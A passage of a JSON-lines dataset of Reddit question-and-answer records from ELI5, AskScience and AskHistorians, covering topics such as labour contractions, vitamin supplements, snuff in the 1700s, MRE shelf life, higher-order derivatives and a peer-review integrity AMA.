"answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4z1rt0/is_the_mayan_godess_of_suicide_ixtab_legit/"], []]}
{"q_id": "1svbz6", "title": "what happens when a woman has a contraction?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1svbz6/eli5_what_happens_when_a_woman_has_a_contraction/", "answers": {"a_id": ["ce1l4km"], "score": [7], "text": ["A hormone(oxytocin) is released that causes the uterus(which contains the fetus and placenta) to contract, which helps propel the baby in anticipation of delivery. A synthetic form of oxytocin is what many doctors give to induce labor. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "82a222", "title": "what makes homemade cookies nice and soft and ones packaged (that you put in oven) hard?", "selftext": "seems to be a common theme that homemade is always softer than any other kind, especially the ones that are premade that you just need to cook. why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/82a222/eli5_what_makes_homemade_cookies_nice_and_soft/", "answers": {"a_id": ["dv8ixwk"], "score": [2], "text": ["Cookies are soft if they are hot, and you cook them to be soft. Many kinds of homemade cookies are hard by design. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "48fpx5", "title": "why aren't latitude and longitude divided the same? one is slices like an orange and one is layers like a cake? what is beneficial about the difference?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48fpx5/eli5_why_arent_latitude_and_longitude_divided_the/", "answers": {"a_id": ["d0j7w88", "d0j7xv3", "d0j8zu4"], "score": [10, 4, 34], "text": ["I'm pretty sure this is just down to having a north pole and a south pole whilst not being able to determine a fixed west or east point from which the latitudinal lines could be drawn.\n\nBasically, if you follow longitude you're always travelling north or south whereas latitude will always take you east or west.\n", "Ignoring the discrepancy between geographical and magnetic poles, the latitude lines go from east to west on a compass, longitude (edit: lines) go from north to south. \n\nIf the longitude lines are now layered slices instead of orange slices, they would only align with north/south at one specific point - so you could not use them for navigation just based on a compass. ", "Because of how the Earth spins around the sun, and to make navigation math easier.\n\nIt takes the sun 1 hour to \"move\" 15 degrees to the West (actually, the Earth is moving).  If you have a really good clock, you can measure when the Sun is on your longitude line and work out what your longitude is.  This only works if you use the slices (we call them \"great circles\") through the north and south pole for longitude.  \n\nIt's mathematically useful for latitude to have right angles to longitude for the same reason the x and y axes of a graph are usually at right angles.  It's not absolutely necessary, but it makes things easier for us to understand.\n\nSo, the reason for latitude being in layers is math.  But there are a lot of useful side-effects.  Over the course of the year, the sun wobbles from ~~22.5~~23.4N to ~~22.5~~23.4S.  In December it's near ~~22.5~~23.4S and its warm in Australia and cold in Norway.  In June it's probably relatively warm in Canada and cold in Chile.\n\nA special bonus is that there's a star called Polaris that wobbles around very close to always being over the north pole.  If you can see it, you can make a very good quick estimate of what your latitude is.  Again - not a reason, but a useful coincidence.\n\nYou could make a coordinate system with poles at, say, Honolulu and near Dekar in Botswana, but it would be a lot harder to solve time problems, figure out where you were using the sun, and answer if it's cold in January at 75N. \n\n**tl;dr**: North and South poles are special because of the sun, longitude and time are linked, perpendicular axes make math easy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1cxu0i", "title": "cumulative distribution function... please!", "selftext": "I haven't studied any maths for a couple of years and I'm doing some stats work, it seems very complicated :(\n\nEDIT: [this is a picture of the 2 figures I need to interpret](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1cxu0i/eli5_cumulative_distribution_function_please/", "answers": {"a_id": ["c9kzkel", "c9kzmx6"], "score": [3, 3], "text": ["It would help if you posted a clearer question, but for a random variable X, the CDF at x is defined as the probability that X takes a value less than or equal to x. P(X <  or = x). The reason this is called \"cumulative\" is because you're essentially *adding up* all the values of the PDF (probability density function) that are less than or equal to x.", "Let's take a specific case: how long does a person like you live?  If you had a cumulative distribution function, you would plug in a number of years (say, 49), and get back the probability that a person like you will live at most 49 years.\n\n(Another common notion in statistics is a probability density function.  With such a function, if you plug in the same 49 years, you would get back the probability that a person like you will live exactly 49 years. )"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/InNE4is"], "answers_urls": [[], []]}
{"q_id": "1lkvvy", "title": "Do vitamin supplements provide health benefits or am I just paying for expensive urine?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lkvvy/do_vitamin_supplements_provide_health_benefits_or/", "answers": {"a_id": ["cc09mbl", "cc0anq7", "cc0fagn", "cc0fyyj", "cc0j8ka", "cc0nkk7"], "score": [100, 90, 2, 6, 2, 5], "text": ["The current consensus is that healthy individuals do not need any regular micronutrient supplementation.  For example, [this large RCT published in JAMA](_URL_5_) looked at cancer rates in male physicians over 50, and found a small (8%) reduction in overall cancer rates, without significant reductions in specific individual cancers.  There was also no reduction in cancer mortality.  [The same study](_URL_1_) found no significant effects on cardiovascular events, cardiovascular mortality, or total mortality in 10 years of follow-up.  \n\n[Similar cohort studies in postmenopausal women](_URL_3_) also found no significant benefit to cancer rates, cardiovascular disease, or total mortality.  \n\n[This study of 13,000 French men and women](_URL_6_) found no effect on overall cancer risk, with a slight decrease (31%) in cancer risk in men, without any effect on cardiovascular disease.  \n\n[Another study of 35,000 Swedish women](_URL_4_) found a small (19%) increase in risk of breast cancer associated with multivitamin use, while also finding a small (27%) decrease in new heart attack rates.\n\n[Large cohort studies](_URL_2_) and [meta-analyses](_URL_0_) have repeatedly demonstrated no benefit in all-cause mortality.  \n\nThere are some clear roles for vitamin supplementation (eg folic acid for women who may become pregnant, or supplementation for specific deficiencies), but on the whole it is not recommended that healthy individuals take multivitamins.  Admittedly these studies are unable to identify benefits that take longer to develop (follow-up period for these studies is usually around 10 years), but as it stands there is no good evidence to recommend regular MVI use in healthy individuals given the conflicting data on specific health benefits and the unequivocal data showing no mortality benefit. ", "Pharmacist here: \nTLDR Version:  Vitamins A,D,E,K are fat soluable vitamins and can be harmful if taken is excess as they are not excreted in the urine.  Vitamin D supplementation is the new craze at the moment, but levels need to be monitored with blood draws so see your doctor before starting supplimentation. \n\nWater soluable vitamins (every other vitamin) are mostly a waste unless your diet is terrible.\n\n", "What about folic acid supplements? ", "What about prenatal vitamins for pregnant woman?  I've never been one to take vitamins until I got pregnant.  Now every time I am at the doctor they ask if I am still taking my vitamins.", "I really like this infographic: _URL_0_  \n\nIt displays the effectiveness of supplements and links to the primary literature behind the claims.", "Here is one thing: If you take calcium you should also take Vitamin K because it takes the calcium to your bones rather than calcifying your arteries. Vitamin K acts like a bus driver letting the calcium get off at the \"right stop\".\n\nSource: CBC (in Canada -a nutritional scientist, in a show about this very topic) I can find more info for this, if there's interest. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/23255568", "http://www.ncbi.nlm.nih.gov/pubmed/?term=23117775", "http://aje.oxfordjournals.org/content/early/2011/02/21/aje.kwq447", "http://www.ncbi.nlm.nih.gov/pubmed/?term=19204221", "http://www.ncbi.nlm.nih.gov/pubmed/20335555", "http://www.ncbi.nlm.nih.gov/pubmed/23162860", "http://www.ncbi.nlm.nih.gov/pubmed/15557412"], [], [], [], ["http://www.informationisbeautiful.net/play/snake-oil-supplements/"], []]}
{"q_id": "8bvjvl", "title": "What was \"snuff\", and how was it used in the 1700s?", "selftext": "I'm roleplaying a \"snuff\" addict for my \"Inventing the Constitution\" class, and have been instructed to \"pretend to partake in snuff liberally\" throughout the Constitutional Convention. What did it look like? What would it be carried in? Was it tobacco or opium? How would a user use it, and how often? Thanks!\n\nAdditional note: the specific character is moderate Nationalist Oliver Ellsworth from Connecticut.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8bvjvl/what_was_snuff_and_how_was_it_used_in_the_1700s/", "answers": {"a_id": ["dxb5dwt"], "score": [10], "text": ["As others already explained, tobacco is finely ground tobacco, made from leaves that are mixed with brine, left to ferment, dried and finally ground until they resemble fine pepper or coarse flour. Depending on the snuff type, the powder may be left untreated or mixed with small amount of brine or diluted molasses to reduce the grain size. \n\nSnuff is then inhaled through the nose. Judging from the contemporary descriptions, most common technique in 18th century was to pick a small pinch of snuff from the snuffbox with the index finder and thumb, put it to the nostril using thumb as a 'ledge' and sharply inhale. Later, in the early 19th century it was also common to put the pinch of tobacco in a small pit between the thumb and an index finger, raise it to the nostril and only then inhale. Snuff was commonly carried in portable snuffboxes, small enough to be carried in a pocket, but larger stationary snuffboxes capable of holding up to a pound of snuff were sometimes offered for guests' entertainment. In 19th-century Continental Europe it was also customary to offer the snuff to others before taking a pinch. Although taking snuff was usually followed by sneezing due to natural reaction, it was less common among habitual users, accustomed to the effects of the snuff.\n\nAfter its introduction of tobacco, it was claimed to have many medicinal properties (most of them disproven by actual research), yet it was a common consensus that it is particularly good to ward off sleepiness* (nicotine indeed possesses mild stimulative and nootropic properties). Given that coffee was not really popular in late-18th century United States, drinking tea could have been politically charged after the 1773 and not everyone was fit for smoking (especially people with highly irritable air ducts), snuff could have been a stimulant of choice.\n\n* For example, In the words of Polish poet, Adam Mickiewicz (originally finished in 1834, English 1885 translation by Maude Ashurst Biggs):\n >  'I was in the camp when he [Gen. D\u0105browski] was recapturing Danzig from the Germans. He had something to write; and, fearing that he might go to sleep, he took a pinch, sneezed, and twice patted me on the back.'"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dtzfb6", "title": "how do mres last so long?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dtzfb6/eli5_how_do_mres_last_so_long/", "answers": {"a_id": ["f700yxh", "f707lk4", "f70ioyu", "f70j60c", "f70m87n"], "score": [50, 17, 5, 13, 4], "text": ["Mostly same reasons why canned goods and crackers have lone shelf life.     They're individuallly packed, sterilized, sealed  and,unless it's saucy, it's dry", "They are sealed away from oxygen and are generally dried to remove most of the water, it was sterilized before it went into the package then no bacteria can get in and the food won't spoil.", "Not just MREs...I was on a survival exercise in 1961 and we had K-rats packed in 1941. The cigarettes were not popular...", "Well it\u2019s pretty much been covered already but I just want to add that MrEs taste like absolute shit and I can\u2019t wait for the day I never have to eat one again.", "Bacteria is what makes food go bad. Bacteria can't reproduce in the absence of oxygen.\n\nSo, the best way to preserve food is to freeze dry it. Remove all water (which has oxygen which can sustain bacteria) and then vacuum seal it. A lot of survival food is freeze dried. A lot of backpacking food is as well. \n\nMREs are part of the way there - they aren't freeze dried - they have water, but they're sterilized first so the bacteria are killed off and then vacuum sealed. So there's no bacteria inside the package. They can still go a bit off because most food reactions require oxygen, and the water does allow some food reactions to still happen, but very, very slowly. \n\nOnce you open these packages they only last as long as the food in your pantry would - a couple days at most. \n\nBackpackers prefer freeze dried because the water is most of the weight of food, and getting water in the field is usually not difficult - snowmelt, streams, etc. So, they like freeze dried because it's light. The military prefer sterilized MREs because water in the field is difficult and MREs don't need added water. If you're bunkered down, you may not want to send Doug out to fetch water and get shot or reveal your position."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5n3fcg", "title": "why do some kids force themselves to gag/puke when they cry?", "selftext": "My little cousin (5) was throwing a temper tantrum when I didn't let him play Battlefield. Then, as he was crying, he started gagging (or choking, most likely gagging), and then, puked all over the carpet. Why do some kids feel the need to make themselves gag or choke enough to puke when they cry?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5n3fcg/eli5_why_do_some_kids_force_themselves_to_gagpuke/", "answers": {"a_id": ["dc8fr93", "dc8jumd"], "score": [6, 2], "text": ["A lot of \"crying\" (and by crying, I refer to all the wailing and sobbing not just tears) is done from the chest and the lungs, up through the throat. It's possible that, through being done with a very high intensity (whether intentionally or not, we all know people who \"cry\" differently), some contraction or spasm in the throat, diaphragm, chest, lungs, etc, can cause a gagging reaction, which could lead more sensitive people to vomit. It's likely related to putting stress on the throat, leading to coughing, which can lead to vomiting.\n\nUnrelated to actually answering your question, but you deserve a \"good job\" for not letting a five year old play Battlefield.", "crying irritates the airways and children tend to be more sensitive to that sort of thing.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7mxqhj", "title": "What are real-life applications to fractional and higher-order (specifically of degree 3+) derivatives?", "selftext": "I found this intriguing because the 4th, 5th, and 6th time-derivatives of displacement are snap, crackle, and pop, respectively--those names sound like they lack practical importance (apart from the cereal joke), at least to someone inexperienced like me.\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7mxqhj/what_are_reallife_applications_to_fractional_and/", "answers": {"a_id": ["drxkb5a", "drxkxpc", "dryavsy"], "score": [22, 37, 6], "text": ["One practical effect (I'm not sure I'd call it an \"application\" though) of \"jerk\" (3rd derivative of position) is car accidents.\n\nWhat gets you in trouble is not your car accelerating. Constant acceleration is felt just as a steady force pushing you into your seat. What gets you in trouble is when your car suddenly goes from \"not accelerating\" to \"accelerating backwards\" rapidly. The rate of this change (what determines how severe the accident is) is jerk.", "They come up all the time in engineering or anything where you model a system with differential equations. \n\nIn electrical circuits each reactive component in a circuit increases the degree of the differential equation that describes the transfer characteristics of the circuit. Quick example, an electric guitar's electronics can be modeled with a 3rd order differential equation, where the reactive components are the inductance of the pickup coil, the parasitic capacitance of the coil, and the tone cap. \n\nIn control systems it's not uncommon to have higher order. In control systems you have some physical system called the plant, a feedback loop through a sensor, and a controller that takes the input of the feedback loop before feeding the system. The total closed loop system can be described by a differential equation, the order of which would be the sum of the orders of the controller, sensor transfer characteristics, and system. It can easily be 5-6th order even if you're approximating things. \n\nAnother example, iirc the relationship of the roll control of an F16 with with the actual roll angle of the aircraft is 4th order. Someone may want to check me on that, it's often referenced when people bring up the fact that the aircraft is slightly unstable in order to turn faster. The controller is going to be at least 2nd order, so the total closed loop system is at least 6th order. ", "The [applications of jerk](_URL_0_) and related derivatives mostly have to do with ensuring that motion patterns are comfortable for humans (or occasionally robots). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://klotza.blogspot.ca/2017/10/applications-of-higher-order.html"]]}
{"q_id": "d5w2lq", "title": "AskScience AMA Series: We're James Heathers and Maria Kowalczuk here to discuss peer review integrity and controversies for part 1 of Peer Review Week, ask us anything!", "selftext": "James Heathers here. I study scientific error detection: if a study is incomplete, wrong ... or fake. AMA about scientific accuracy, research misconduct, retraction, etc. (_URL_0_)\n\nI am Maria Kowalczuk, part of the Springer Nature Research Integrity Group. We take a positive and proactive approach to preventing publication misconduct and encouraging sound and reliable research and publication practices. We assist our editors in resolving any integrity issues or publication ethics problems that may arise in our journals or books, and ensuring that we adhere to editorial best \npractice and best standards in peer review. I am also one of the Editors-in-Chief of Research Integrity and Peer Review journal. AMA about how publishers and journals ensure the integrity of the published record and investigate different types of allegations. (_URL_1_)\n\nBoth James and Maria will be online from 9-11 am ET (13-15 UT), after that, James will check in periodically throughout the day and Maria will check in again Thursday morning from the UK. Ask them anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d5w2lq/askscience_ama_series_were_james_heathers_and/", "answers": {"a_id": ["f0oc77v", "f0oc8qa", "f0ocdee", "f0od5qk", "f0odcre", "f0odfcm", "f0odgbh", "f0odjeg", "f0odkrm", "f0ods4b", "f0odx2z", "f0oe5ii", "f0oelzs", "f0oeps3", "f0oeuph", "f0oeyzp", "f0of4vf", "f0ofuym", "f0og12j", "f0og8s8", "f0ohctj", "f0oijq6", "f0ojjos", "f0okgy4", "f0op9y4", "f0oqsx5", "f0or8k5", "f0osc9r", "f0osoyz", "f0ou8nn", "f0ouz6m", "f0ov6f0", "f0ovb6x", "f0oyyv8", "f0ozdjs", "f0p4kki", "f0p9ltt", "f0paq87", "f0paz5m", "f0pbceh", "f0pc99b", "f0pcxwn", "f0pibmx", "f0puj6f"], "score": [4, 12, 53, 10, 21, 5, 3, 29, 6, 6, 53, 5, 3, 3, 5, 3, 6, 8, 3, 5, 5, 3, 2, 6, 3, 3, 4, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["I know about double and triple blind peer reviews. Do they ever get bigger? Like quadruple or quintuple blind peer review?", "Are there any concerted efforts or guidelines to make sure that peer review is handled promptly? This is both an issue in terms of people agreeing as a reviewer and then not prioritizing it, and also the risk of potentially competing teams meaning that someone can be slow in peer review to delay another team. I realize this carries with it the challenge that peer review is unpaid.\n\n\nSecond question: Do you think the tendency in some fields to not consider work too similar to existing work to be publishable carries with it some risk, as independent attempts can help to determine if the first work/discovery was reliable or not? It seems like having two teams that discover a similar thing independently has a benefit, but journals seem to require things to be more novel.", "Hi and thanks for joining us today on this great topic!\n\nSo many questions.\n\n1. What do you think is the future for predatory journals? Should Beall's list make a comeback?\n\n2. Do you think reviewers should be paid for their time?\n\n3. Is there a better measure for a journal than impact factor?\n\n4. Will scientific funding ever really allow for robust replication studies?", "What are your views on the p-value being at the center of most published papers? Is there a hope for a more bayesian approach in the future?", "Are there legal resources for those who get their data rejected by peer review and then stolen by one of the reviewers who is more well-known than the original author?", "How's your view on cashing in publication fees and then sell back the research to the organizations who originally funded it? It's not like Springer does peer review, the reviews are done by volunteers for no fee while the publishers profit on every step.", "Researchgate and BioRxiv provide a comment section to their articles. What do you think about this practice? Could it help to sort the good from the bad?", "How can journals and reviewers maintain high standards for clear writing without unnecessary bias against non-native English speakers?", "Who do you consider to be responsible for checking whether a manuscript under review is fraudulent?   \nShould peer reviewers start from the assumption that research practices might be questionable, or is it fair to give authors the benefit of the doubt?", "What is the ratio of correctly conducted research to ones with errors and to fake ones, among the cases you looked into?", "**Alright, seadogs one and all, I'm spent. I've been checking in on this for about 8 hours now. But I'll still answer questions in perpetuity if you like, though: user tag me and I'll get to it.\n\nOne thing I'd draw your attention to in particular if you're interested in peer review - I'm working as part of a team who's adding a new aspect to peer review - trying to figure out quality assessment of a study in advance. Basically, post-publication review but for accuracy/reproducibility. Can you tell if a study is worthwhile just by reading it?\n\nThis is a big old project, so we can use the help. If you want to know more, I've set up a subreddit for it: _URL_8_ - more info there.\n\nThanks for today, it's been a lot of work but damn it if I haven't had fun.**\n\n \n \n\nPrevious continues below:\n\nOi oi. The above looks a bit thin, so I've expanded.\n\nI\u2019m James Heathers - scientist, occasional author, and data thug. I'm a research scientist at Northeastern University in Boston.\n\n(Data what? [Data thug.](_URL_6_) Silly name, but it kind of stuck.)\n\nFor the last five years, I\u2019ve been involved in the meta-scientific research area of error detection. What is that? It\u2019s using mathematical, analytical, and practical techniques to investigate if published research is accurate. Basically, it's post-publication peer review. With numbers.\n\nSometimes, we find serious problems. I\u2019ve been involved in a [few] (_URL_3_)\n[investigations] (_URL_0_) into these sorts of accuracy issues.\n\nDoing this has made me something of a \u2026 let\u2019s say \u201cpeer review and retraction connoisseur\u201d. Most days, I get emails from people who\u2019ve uncovered problems in peer review (both the normal kind and the post-publication kind) and need advice. There's not a lot of people to talk to about this sort of thing, and it's not a topic that many people are comfortable with.\n\nScientists as a whole don't talk about errors, misconduct, and fraud much. They should.\n\nWhere I am on the tubes:\n\n_URL_1_  < - start here, probably\n\n_URL_2_\n\n_URL_7_\n\nNOTE: if you have questions about the accuracy of a paper that you yourself have found, my advice is make yourself a burner account at _URL_5_ and email me.\n\nNow: I was going to AMA at 9am, but there's already a dozen questions, so I'll start answering them.\n\nWill be here throughout the day, most likely heavily caffeinated and muttering darkly.\n\nEDIT: Still here. Keep 'em coming.\n\nEDIT AGAIN: God I'm terrible at self-promotion. Totally forgot my podcast. Many episodes about this topic, and a lot of other things directly congruent to it. _URL_4_", "I peer review for a systematic review journal that routinely uses 5 reviewers per finished review. Two are content/topic experts and three are methods experts each judging separate methods (one for the systematic search, one for the analysis plan, and one for the actual analysis). However, all peer reviewers can comment on any area of the paper even though they are aware from the outset which area they are asked to review. \n\nI\u2019ve noticed one of the new editors ( there are 4 editors) will sometimes ask me to take the role of two of the reviewers. Eg. \u201cDear Dr x, please could you assess and appraise both the search and analysis plan for this paper\u201d\n\nThis feels weird to me as it\u2019s not been the usual task set to me and the authors believe they are having five sets of eyes on their paper but more often with this particular editor it\u2019s actually less than this. \n\nI\u2019ve tried to raise my concern with the editor in question and explain my concern that I may miss something that another method expert would have picked up. The editor however is not concerned and states that other journals have only two peer reviewers... I\u2019m not convinced though, can you see any issues with this? \n\nNB. I am sorry for lack of details in some places - this is to protect the anonymity of the journal and myself", "What methods/processes are employed to screen intentional bad actors?  I'm not talking about faulty methodology as much as those with a specific agenda who consciously and deliberately falsify their research and lie.  \nFrom a lay person, it appears that researchers aren't skeptical enough unless a claim is so outlandish to fly in the face of reason e.g. anti vax, flat earth.  \n\n\nDamn near any junk hypothesis is presented as a \"truth\" by some pay to publish journal,  that then has to be debunked once it catches the main stream interest.  \n\nTLDR: what can you do to stop those that intentionally try and defraud?", "do you think legislating to make publicly funded research free to access would make your job easier?", "what's been your most memorable misconduct investigation so far?", "are there improvements in software that you would like to see that would help your domain?", "What's your opinion on conference PIDs as a means to help tackle the predatory conference threat? The FREYA project([_URL_1_](_URL_1_)) in particular, which aims lay the groundwork for PIDs to make records of research more reliable and traceable. Also Written about here:\u00a0[_URL_0_](_URL_0_)", "I think it's fantastic that you are making efforts in this area.  Clearly much needed debate.\n\n1. Should peer-reviewers be *anonymous?*  *Double-blind* (which would only be fair)? or *not anonymous at all*?  There clearly is such a thing as bias towards someone's institution, or a person.  And every author's favorite game is \"guess who the reviewer was\".  I can see merit in completely unmasking the reviewers - just recently spent almost a week examining data for a Commentary in a Nature journal... took a week because it was data-intensive and covered multiple angles.  I uncovered errors, made useful suggestions, etc.  No doubt, the authors will figure out who it was. Which leads to\n2. ... Some manuscript reviews are so authentic and insightful, they (should) qualify as authorship ...   So what are the ethics / guidelines in that situation?  ... and\n3. ... Some reviews are really time/resource consuming, yet remain uncompensated (and no, this is NOT what we are paid to do, most of us work on contracts/grants/projects with clear milestones and deliverables - none of which include peer-review!).  How to compensate such efforts (which mostly are done on weekends?)", "What's your guess, how much of \"ordinary\" science is fake? And what would be bigger driver of cheating - desire to be famous, or attempt to survive the academic hunger games, or salvage a failing project?", "/u/MariaKowalczuk,  how do you react as an editor or publisher representative, if an author accuses another author of plagiarism?", "What fields suffer from publication bias the most?\n\nEdit: thanks for doing this btw. Both the AMA and your work towards the integrity of research.", "I read recently that many papers aren't reproduceable. That sounds like a major problem. Is it true?", "Hey James, thanks for doing an AMA. What\u2019s your favorite was to annoy Dan Quintana?\n\nAnd what do you think it will take to get more journals to adopt automatic error checking practices like statcheck, grim, sprite, checking confusion matrices....etc? Seems super simple to run those things and have a human check anything that\u2019s flagged as \u201coff\u201d?", "/u/JamesHeathers who do you contact first if you a) suspect, b) know certainly, that a study is wrong? The author, the author's boss/university, the journal that published it?", "What has the demand been like for learning about and engaging in error detection practices. Who is most interested?\n\nAlso, if you could pick one thing that would advance this field(?), what would it be?", "/u/MariaKowalczuk, how do Springer Nature journals validate that people in a peer review process (both authors and peer reviewers) really are who they claim to be, and from the institution they claim to be from?  \n\n\nI know many people think ORCID is the answer, but it's obviously not - anyone can create as many ORCID accounts as they please under any name they want, and claim what they want, even draw publication references from databases into their list of works there (they then appear as for example \"source: CrossRef\", without even basic automated sanity checks.", "A few times I've been asked to peer review a paper and I write up about a page or two and send it in, then I see the other review and it's basically a one liner that says \"looks good, publish.\" I get the impression from that that the other reviewer hasn't even read the paper. I feel like this makes the paper I reviewed kind of illegitimate, because it's all resting on what I said.\n\nWhat should a non-jerk Reviewer 2 do in the case when Reviewer 1 completely drops the ball?", "Pardon the generalization, but I get the impression that many peer reviewers are sorta winging it with a vague understanding of their marching orders (\"evaluate the quality of this paper\"). I wonder if peer review is in a position similar to where academic teaching was a few decades ago, where it's seen as a thing that researchers just sorta pick up along the way rather than being given specific and rigorous attention.\n\nWould you agree with that characterization? If so, do you think there are institutions, fields, or publications that cultivate excellence in peer review particularly well?\n\nOr, to come at it from another angle, do you think that most peer reviewers are adequately trained (in general review processes) and/or onboarded (for specific journals)?", "To what extent you think referees should mostly be giving just up-or-down recommendations? I am in a discipline (economics) where reviews take too long, papers are often probably too long and typically acceptance in a good journal involves couple rounds of responding to nit-picky and often idiosyncratic reviewer comments. As a reviewer, I am becoming reluctant to accept review assignments since I feel the expectation is that I write an unpaid editorial/consulting report on the paper instead of my short assessment of the contribution the paper makes in its current form. At least in Economics the one attempt to move to more up-or-down system (Economic Inquiry) was largely unsuccessful, at least if measured by other journals adopting this policy. Are other disciplines tackling with this question?\n\n & #x200B;\n\nThis is not unrelated to the question should referees get paid, since paying referees the real value of their time for a thorough review would probably be prohibitively expensive. Something like $100 is not going to come anywhere near any reasonable compensation of writing a 3-4 page detailed review of a 60-page manuscript.", "/u/JamesHeathers how much hatemail do you get, or nasty attacks in public? The things you do probably make some people less than pleased...", "Every person on the planet has at least one biased opinion about things. If you were presented with an article that you personally found objectionable would you pass it to somebody that had less of a bias about the subject than you or review the article yourself and try to keep your personal bias at bay?\n\nIf you did review the article how would you go about making sure your own bias didn't get in the way of the actual data?", "As a scientist (of sorts) myself, with one published paper I contributed to and only a bachelors' I am interested in the \"pay-to-play\" aspect of the peer review process and how it deters innovation by setting barriers in front of people who would like to contribute.   \n\n\nWhat is your opinion on the \"Grievance Studies\" conclusions and methodology? Do you think those folks did a service or disservice to the process? Why?   \n\n\nThanks", "What are your thoughts on a bias in journals to only publish papers where the null is rejected?", "i would be interested in hearing what your thoughts are on the new climate study coming out by the Irish scientists, it  seems to be aimed at disproving alarmism with both empirical evidence and a theoretical study that track in tandem...\n\nmore specifically, do you think it will go further than other climate study's that simply rely on theoretical pontifications with out any physical tracking of data points?.   how will this affect the peer review process?", "Is there any evidence that peer review helps improve research? Is there concern that entrenched bias in a field, either innate or based upon COIs, would lead to peer review processes that inhibited innovative research?", "A lot of these questions seem to have a bias towards the hard sciences. What are you thoughts on trends in peer review in AI and machine learning related fields? These being:\n\n1. Non-monetary credit for reviewing services, and auctions for potential reviewers to bid on submissions to review (e.g. Publons, reviewer bidding for NeurIPS)\n2. Single-blind reviews conducted in publicly viewable spaces? (anyone can see the reviews)\n3. Review rebuttals even if manuscript is rejected?\n4. Citing open-source pre-publication (e.g. arXiv) due to pace of publication?\n5. Required publication of example test data (or usage of shared/accepted benchmark data sets) and source code?\n\nIn general, machine learning and AI research is visibly spurning the classical journal publication model. While much of this is done in the name of open-source information and public good, it also seems like a response to tremendous industry and fiscal pressures.", "Serious question here!  My friend is a big sasquatch enthusiast, and is convinced that there is a conspiracy by peer-reviewed journals to suppress information regarding \"bigfoot DNA\" that has been found and sequenced by Melba Ketchum, who allegedly passed peer-review, but was told she would not be published because a major donor threatened to walk away from the journal if they published such an article.  \n\n\nIs there any validity to this?  Could you please talk about what steps of peer-review typical cryptozoological would-be-publications fail?  \n\n\nThanks!", "I remember people complaining about AI conferences as of late that:\n\n* [They seem to be hiring undergrads to do the reviews](_URL_0_), \n* and given the number of submissions your chances of getting in are becoming nearly random\n\nI was wondering what you think about this. Is there any way we could reform peer review to accommodate large numbers of submissions? Should we try automating peer review somehow?", "Care to give us your take on climate science and their integrity in general or specific?", "Will we ever be able to get away from paywalled journals? How can we make sure research is well done and publically available without academic publishers arranging peer review?", "Thank you both for doing what you do. No question, but here's a question mark so you can read this. ?", "What are you thoughts on the infamous \"Grievance Studies affair\"? That was the experiment that really made me question alot of the academic studies that are published.", "How do you prevent someone from paying someone to cite your work / get it trough the review process?", "u/JamesHeathers\n\nWould it be a good thing for scientific journals to dispense with p-value/Bayes factor as criteria for scientific publication, and instead publish research based on whether the research is actually good science? E.g. reading an abstract of the study before seeing the results and publishing based on that information.\n\nSaw a video about this on Sci-Show YouTube channel and seems to make a lot of sense, but it sounded like this is not a thing currently.\n\nEDIT: I see there is already a question on Bayes/PF. I\u2019m not talking about which is better. More asking if there is a good alternative to using these rating systems at all. Like reading the goals of a study and how it was conducted (without seeing the results) and making the publishing decision based on that."]}, "title_urls": [], "selftext_urls": ["http://jamesheathers.com/", "https://researchintegrityjournal.biomedcentral.com/"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["https://arstechnica.com/science/2017/11/researchers-find-oddities-in-high-profile-gender-studies/", "https://twitter.com/jamesheathers", "https://medium.com/@jamesheathers", "https://www.sciencemag.org/news/2018/09/cornell-nutrition-scientist-resigns-after-retractions-and-research-misconduct-finding", "https://everythinghertz.com/", "www.protonmail.com", "https://www.sciencemag.org/news/2018/02/meet-data-thugs-out-expose-shoddy-and-questionable-research", "https://jamesheathers.com", "www.reddit.com/r/repliCATS"], [], [], [], [], [], ["https://www.exordo.com/blog/exposing-predatory-conferences/", "https://www.project-freya.eu/Plone/en"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://medium.com/syncedreview/ai-community-reacts-to-reddit-post-are-grad-students-reviewing-nips-papers-b5d06b375b5c"], [], [], [], [], [], []]}
{"q_id": "1dswek", "title": "why is there a ban on screenshots in most of the popular subreddits?", "selftext": "Is the ban on memes in many subreddits related?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dswek/eli5_why_is_there_a_ban_on_screenshots_in_most_of/", "answers": {"a_id": ["c9tij18"], "score": [17], "text": ["The communities in those subreddits felt that the memes and other quick-to-read content was overcrowding the interesting articles and other text-based content.\n\nIf you click on a meme, you can look at it and vote on it in about five seconds. An in-depth article might take you two or three minutes to read and vote on. Therefore, memes will usually outpace articles (all over things equal)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
